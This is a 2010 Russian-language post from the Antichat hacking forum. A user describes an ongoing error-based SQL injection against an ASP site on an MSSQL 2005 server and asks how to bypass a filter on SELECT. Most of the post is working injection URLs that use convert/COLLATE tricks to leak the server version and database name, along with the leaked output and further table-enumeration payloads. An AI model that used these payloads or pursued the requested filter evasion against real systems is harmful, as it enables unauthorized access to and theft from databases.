Форум АНТИЧАТ - Ваши вопросы по уязвимостям.

#11

21.05.2010, 21:09

YuNi|[c

Участник форума

Регистрация: 17.09.2006

Сообщений: 248

Провел на форуме:
556476

Репутация: 66

привет, тут у меня вопрос по mssql inj

Код:

http://www.site.com/script.asp?id=convert(int,@@version COLLATE SQL_Latin1_General_Cp1254_CS_AS)--

Код:

Sql Version: Microsoft SQL Server 2005 - 9.00.3042.00 (X64) 
	Feb 10 2007 00:59:02 
	Copyright (c) 1988-2005 Microsoft Corporation
	Enterprise Edition (64-bit) on Windows NT 5.2 (Build 3790: Service Pack 2)

попробовал or 1=(select db_name())-- редирект дал.

потом без селекта

Код:

http://www.site.com/script.asp?id=convert(int,db_name() COLLATE SQL_Latin1_General_Cp1254_CS_AS)--

DB Name: SSDB

запрос:

Код:

http://www.site.com/script.asp?id=convert(int,(SELECT TOP 1 cast(name COLLATE SQL_Latin1_General_Cp1254_CS_AS as nvarchar(4000))%2bchar(126) FROM SSDB..sysobjects WHERE xtype=char(85)))--

дает редир

А ЗАПРОС:

Код:

http://www.site.com/script.asp?id=+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--

тоже редирект дает

тут видимо фильтруется select. Кто нит может посоветовать как обходит при таком фильтрации?
заранее спс

Похожие темы

Тема

Автор

Раздел

Ответов

Последнее сообщение

Ваши ламерские приколы (Ну когда только комп появился)

PEPSICOLA

Болталка

188

23.05.2010 10:05

Ваши любимые компьютерные игры

PEPSICOLA

Болталка

280

19.08.2009 00:01

Ваши телеги...

F-IFTY

Болталка

18.08.2009 18:22

Вопросы по Ipb 2.0

Voodoo_People

Форумы

15.02.2005 22:57